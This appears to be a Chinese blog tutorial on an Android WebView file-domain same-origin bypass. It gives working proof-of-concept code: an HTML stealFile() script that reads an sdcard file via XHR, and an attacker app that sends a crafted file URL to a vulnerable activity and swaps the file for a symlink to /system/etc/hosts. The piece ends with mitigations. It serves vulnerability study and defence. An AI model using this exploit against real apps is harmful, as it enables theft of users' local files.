Android WebView File域同源策略繞過漏洞淺析

   0x00html

    咱們首先講一個webView這種方法的做用:java

webView.getSettings().setAllowFileAccessFromFileURLs(false);
    爲了解說這種方法,咱們仍是看一個實際的樣例。代碼地址仍是參考 https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo

    代碼例如如下。和Android WebView遠程代碼執行漏洞簡析一文中的代碼主要差異在於此次載入的attack_file.htmlandroid

public class MainActivity extends Activity {
	private WebView webView;
	private Uri mUri;
	private String url;
	String mUrl1 = "file:///android_asset/html/attack_file.html";
	//String mUrl2 = "file:///android_asset/html/test.html";

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
		webView = (WebView) findViewById(R.id.webview);
		webView.getSettings().setJavaScriptEnabled(true);
		webView.addJavascriptInterface(new JSInterface(), "jsInterface");
		webView.getSettings().setAllowFileAccessFromFileURLs(true);
		webView.setWebChromeClient(new WebChromeClient() {
			@Override
			    public boolean onJsAlert(WebView view, String url, String message,JsResult result) {
			    //Required functionality here
			    return super.onJsAlert(view, url, message, result);
			}
		});
		webView.loadUrl(mUrl1);
	}
	
	
    class JSInterface {
        public String onButtonClick(String text) {
            final String str = text;
            runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    Log.e("leehong2", "onButtonClick: text = " + str);
                    Toast.makeText(getApplicationContext(), "onButtonClick: text = " + str, Toast.LENGTH_LONG).show();
                }
            });
            
            return "This text is returned from Java layer.  js text = " + text;
        }
        
        public void onImageClick(String url, int width, int height) {
            final String str = "onImageClick: text = " + url + "  width = " + width + "  height = " + height;
            Log.i("leehong2", str);
            runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    Toast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show();
                }
            });
        }
    }

}
   這裏webView.getSettings().setAllowFileAccessFromFileURLs(true)。標示可以經過javaScript訪問file文件。

   咱們再來看attack_file.html的代碼:git

<html>
<body>
<script>
function stealFile()
{
	var file = "file:///mnt/sdcard/11.txt";
	var xmlHttpReq = new XMLHttpRequest();
	xmlHttpReq.onreadystatechange = function(){
		if(xmlHttpReq.readyState == 4){
			alert(xmlHttpReq.responseText);
		}
	}

xmlHttpReq.open("GET", file);
xmlHttpReq.send(null);
}
stealFile();
</script>
</body>
</html>
    由於 setAllowFileAccessFromFileURLs爲true,因此webView.load這個html可以返回/mnt/sdcard/11.txt的值。

    假設setAllowFileAccessFromFileURLs爲false。webView.load這個html不可以返回/mnt/sdcard/11.txt的值。github


   0x01web

    即便setAllowFileAccessFromFileURLs爲false,咱們經過一種方式也可以跨過這個限制,那就是Android WebView File域同源策略繞過漏洞淺析。請參考WebView File域同源策略繞過漏洞淺析app

    參考的文章並無給出可以執行的project,這裏給出,下面的解說都來源於這兩個project:https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo1https://github.com/jltxgcy/AppVulnerability/tree/master/AttackWebViewide

    首先執行WebViewFileDemo1,而後再執行AttackWebView來突擊WebView。post

   


    咱們首先看WebViewFileDemo1,主要代碼例如如下:ui

package com.example.webviewfiledemo;

import android.app.Activity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.webkit.JsResult;
import android.webkit.WebChromeClient;
import android.webkit.WebView;
import android.widget.Toast;

public class MainActivity extends Activity {
	private WebView webView;
	private Uri mUri;
	private String url;

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
		webView = (WebView) findViewById(R.id.webview);
		webView.getSettings().setJavaScriptEnabled(true);
		webView.addJavascriptInterface(new JSInterface(), "jsInterface");
		webView.getSettings().setAllowFileAccessFromFileURLs(false);
		//webView.getSettings().setAllowFileAccess(false);
		webView.setWebChromeClient(new WebChromeClient() {
			@Override
			    public boolean onJsAlert(WebView view, String url, String message,JsResult result) {
			    //Required functionality here
			    return super.onJsAlert(view, url, message, result);
			}
		});
		
		Intent i = getIntent();
		if (i != null) {
			mUri = i.getData();
		}
		if (mUri != null) {
			url = mUri.toString();
		}
		if (url != null) {
			webView.loadUrl(url);
		}
	}

}

    這個Activity接收來自外部的Intent。提取Intent裏面的url並載入。


    接着咱們來看AttackWebViewproject,這裏就是向com.example.webviewfiledemo.MainActivity發送Intent的project。

代碼例如如下:

public class MainActivity extends Activity {
	public final static String HTML = 
			"<body>" +
		    "<u>Wait a few seconds.</u>" + 
		    "<script>" +
		    "var d = document;"+
		    "function doitjs(){"+
		    "var xhr = new XMLHttpRequest;"+
		    "xhr.onload = function(){"+
		    "var txt = xhr.responseText;"+
		    "d.body.appendChild(d.createTextNode(txt));"+
		    "alert(txt);"+"};"+
		    "xhr.open('GET',d.URL);"+
		    "xhr.send(null);"+
		    "}"+
		    "setTimeout(doitjs,8000);"+
		    "</script>"+
		    "</body>";
	
	public static String MY_TMP_DIR;

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
		MY_TMP_DIR = getDir("payload_odex", MODE_PRIVATE).getAbsolutePath();
		doit();
	}
	
	public void doit() {
		String HTML_PATH = MY_TMP_DIR + "/A0" + ".html";
		try {
			cmdexec("mkdir " + MY_TMP_DIR);
			cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);
			cmdexec("chmod -R 777 " + MY_TMP_DIR);
			Thread.sleep(1000);
			invokeVulnAPP("file://" + HTML_PATH);
			Thread.sleep(6000);
			cmdexec("rm " + HTML_PATH);
			cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH);
		} catch (Exception e) {
			// TODO: handle exception
		}

	}

	public void invokeVulnAPP(String url) {
		try {
			Intent intent = new Intent(Intent.ACTION_MAIN,Uri.parse(url));
			intent.addCategory(Intent.CATEGORY_LAUNCHER); 
			intent.setClassName("com.example.webviewfiledemo", "com.example.webviewfiledemo.MainActivity");
			startActivity(intent);
		} catch (Exception e) {
			// TODO: handle exception
		}
	}

	public void cmdexec(String cmd) {
		try {
			String[] tmp = new String[] { "/system/bin/sh", "-c", cmd };
			Runtime.getRuntime().exec(tmp);
		} catch (Exception e) {
			// TODO: handle exception
		}
	}
	
}
   經過invokeVulnAPP,打開了com.example.webviewfiledemo.MainActivity並傳遞了Intent。

這個Activity提取了Url。Url爲/sdcard/payload_odex/A0.html。webView載入了這個html,html內容例如如下:

	public final static String HTML = 
			"<body>" +
		    "<u>Wait a few seconds.</u>" + 
		    "<script>" +
		    "var d = document;"+
		    "function doitjs(){"+
		    "var xhr = new XMLHttpRequest;"+
		    "xhr.onload = function(){"+
		    "var txt = xhr.responseText;"+
		    "d.body.appendChild(d.createTextNode(txt));"+
		    "alert(txt);"+"};"+
		    "xhr.open('GET',d.URL);"+
		    "xhr.send(null);"+
		    "}"+
		    "setTimeout(doitjs,8000);"+
		    "</script>"+
		    "</body>";
    當WebViewFileDemo1project中webView載入A0.html後,這個html的做用是延遲8秒讀取A0.html自己。咱們再回到AttackWebViewproject。往下看代碼。
cmdexec("mkdir " + MY_TMP_DIR);
			cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);
			cmdexec("chmod -R 777 " + MY_TMP_DIR);
			Thread.sleep(1000);
			invokeVulnAPP("file://" + HTML_PATH);
			Thread.sleep(6000);
			cmdexec("rm " + HTML_PATH);
			cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH);
   調用完invokeVulnAPP後。6秒後,咱們首先把A0.html刪除,而後再又一次軟鏈接到/system/etc/hosts。

注意此時WebViewFileDemo1project中webView載入A0.html。這個html的做用是延遲8秒讀取A0.html自己。因此8秒後讀取的是軟鏈接/system/etc/hosts。

   結果例如如下:



   0x02

    怎樣避免這樣的狀況的發生呢?

    一、webView.getSettings. setAllowFileAccess(false);

    假設在WebViewFileDemo1project中com.example.webviewfiledemo.MainActivity的onCreate方法中假設加上了上面的代碼,那麼執行的結果例如如下:


  

    二、webView.getSettings. setJavaScriptEnabled(false);

相關文章
相關標籤/搜索